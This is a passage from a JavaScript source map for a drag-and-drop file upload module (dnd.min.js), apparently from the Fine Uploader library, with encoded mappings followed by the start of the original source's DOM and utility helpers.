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","file":"dnd.min.js","sourcesContent":[null,"/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    